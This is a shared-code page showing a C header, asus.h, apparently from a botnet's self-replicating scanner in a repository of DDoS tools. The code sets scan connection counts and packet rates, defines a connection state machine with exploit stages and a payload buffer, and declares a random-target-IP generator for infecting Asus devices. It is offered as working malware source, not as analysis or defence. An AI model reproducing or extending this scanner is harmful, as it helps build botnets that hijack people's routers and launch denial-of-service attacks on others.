Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/Asus/asus.h
5038 views
1
#ifdef SELFREP
2
3
#pragma once
4
5
#include <stdint.h>
6
7
#include "includes.h"
8
9
#ifdef X86_64
10
#define asus_SCANNER_MAX_CONNS 512
11
#define asus_SCANNER_RAW_PPS 1440
12
#else
13
#define asus_SCANNER_MAX_CONNS 256
14
#define asus_SCANNER_RAW_PPS 1024
15
#endif
16
17
#ifdef X86_64
18
#define asus_SCANNER_RDBUF_SIZE 1024
19
#define asus_SCANNER_HACK_DRAIN 64
20
#else
21
#define asus_SCANNER_RDBUF_SIZE 1024
22
#define asus_SCANNER_HACK_DRAIN 64
23
#endif
24
25
struct asus_scanner_connection
26
{
27
int fd, last_recv;
28
enum
29
{
30
asus_SC_CLOSED,
31
asus_SC_CONNECTING,
32
asus_SC_EXPLOIT_STAGE2,
33
asus_SC_EXPLOIT_STAGE3,
34
} state;
35
ipv4_t dst_addr;
36
uint16_t dst_port;
37
int rdbuf_pos;
38
char rdbuf[asus_SCANNER_RDBUF_SIZE];
39
char payload_buf[2024];
40
};
41
42
void asus_scanner_init();
43
void asus_scanner_kill(void);
44
45
static void asus_setup_connection(struct asus_scanner_connection *);
46
static ipv4_t asus_get_random_ip(void);
47
48
#endif
49
50
51